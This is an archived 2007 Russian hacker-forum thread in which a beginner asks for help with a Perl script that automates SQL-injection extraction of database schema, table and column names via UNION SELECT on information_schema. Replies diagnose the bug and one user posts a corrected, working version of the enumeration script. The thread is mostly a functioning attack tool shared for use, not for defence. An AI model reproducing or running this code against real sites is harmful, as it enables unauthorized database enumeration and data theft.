Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Проблемы с прогой на Perl'е

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Проблемы с прогой на Perl'е
Имя
Сообщение << Старые топики   Новые топики >>
Проблемы с прогой на Perl'е - 2007-07-10 21:13:08.270000   
slashdot

Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
Всем привет!
Я только учусь програмировать на Perl'е и у меня возникли проблемы с прогой
которую я писал для автоматизации процесса получения данных с базы данных
через SQL-inj.
Код программы: #!/usr/bin/perl use LWP::UserAgent; $http = "http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit $num,1/*"; $s_num = 160; &scan($s_num); sub scan($) { my $num = $_[0]; $http_query = $http; $mcb_reguest = LWP::UserAgent-&gt;new() or die; $res = $mcb_reguest-&gt;post($http_query); @results = $res-&gt;content; foreach $result(@results) { if ($result =~ m/(\w+\W\w+\W\w+)/) { open(FILE,"&gt;&gt;table.txt"); print FILE $1."\n"; close(FILE); print "\n".$1."\n"; $num = $num + 1; &scan($num); } else { print "Not found! String -&gt; ".$num."\n" ; exit(0); } } }
Программа должна получать страницу и искать в ней по шоблону
строку примерно такого вида:

BASE_Name:TABLE_Name:COLUMN_NAME

а она пишет что нету совпадений. Регистр букв любой, знак кодчеркивания может отсутствовать. Я думаю что ошибка именно в шаблоне. Помогите разобраться с роблемой.
И дайте пожалуйста ссылки на документацию по сетевому программированию в Perl'е
Заранее благодарен всем кто откликнется на проблему.
Post #: 1
RE: Проблемы с прогой на Perl'е - 2007-07-10 21:38:50.033333   
blonx

Сообщений: 1150
Оценки: 0
Присоединился: 2006-04-01 03:28:42
$http = "http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit $num,1/*" - бред какой-то

http://docs.h1.ru/perl.html - полистай на досуге и не поленись в следующий раз спросить у Google
Post #: 2
RE: Проблемы с прогой на Perl'е - 2007-07-10 22:00:31.346666   
slashdot

Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
Нет не бред8|

Мне нужен шаблон под BASE_Name:TABLE_Name:COLUMN_NAME,
читай выше всё расписано
Post #: 3
RE: Проблемы с прогой на Perl'е - 2007-07-11 17:03:46.696666   
max_dark

Сообщений: 59
Оценки: 0
Присоединился: 2007-05-04 01:21:24.333333
Во первых, это можно зделать и без рекурсии
Во вторых, переменная $num неопределена при присвоении $http значения. поэтому получается, что
$http="http://site.com/path/to/script.php?id=-4638 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit ,1/*"; что, естественно, вызывает ошибку синтаксиса SQL и никакой выдачи информации не происходит
т.е. переменную $http необходимо формировать в функции &scan($num)

#===============#
#Если уж хочешь сделать так, то присвой
$http="http://site.com/path/to/script.php?id=-1 union select 1,2,3,4,concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME),6,7,8,9,10,11,12,13+from information_schema.COLUMNS limit "; $http_query = $http.$num.",1/*"; #===============#
Я не совсем понял, зачем тебе $s_num = 160
Если это общее количество записей, то зачем его увеличивать?
Post #: 4
RE: Проблемы с прогой на Perl'е - 2007-07-11 23:12:00.603333   
slashdot

Сообщений: 87
Оценки: 0
Присоединился: 2006-12-08 11:23:10.720000
$s_num = 160 - это не общее кол-во записей, это то значение где кончается системные таблицы
Post #: 5
RE: Проблемы с прогой на Perl'е - 2007-07-12 11:31:39.403333   
max_dark

Сообщений: 59
Оценки: 0
Присоединился: 2007-05-04 01:21:24.333333
После доработки напильником у меня получилось следующее:
#!/usr/bin/perl use LWP::UserAgent; $http = "http://localhost/test/test.php?id=-1+union+select"; $http.="+concat(TABLE_SCHEMA,char(58),TABLE_NAME,char(58),COLUMN_NAME)"; $http.="+from+information_schema.COLUMNS+limit+"; $s_num = 0; &scan($s_num); sub scan { my $num = shift; $mcb_reguest = LWP::UserAgent-&gt;new() or die; open(FILE,"&gt;&gt;table.txt"); loop: { $http_query = $http.$num.",1/*"; $res = $mcb_reguest-&gt;get($http_query); @results = $res-&gt;content; foreach $result(@results) { if ($result =~ m/(\w+:\w+:\w+)/) { print FILE $1."\n"; print $1."\n"; $num = $num + 1; goto loop; ##&scan($num); } else { print "Not found! String -&gt; ".$num."\n" ; close(FILE); ##exit(0); return; } } } }
Post #: 6
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Проблемы с прогой на Perl'е







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.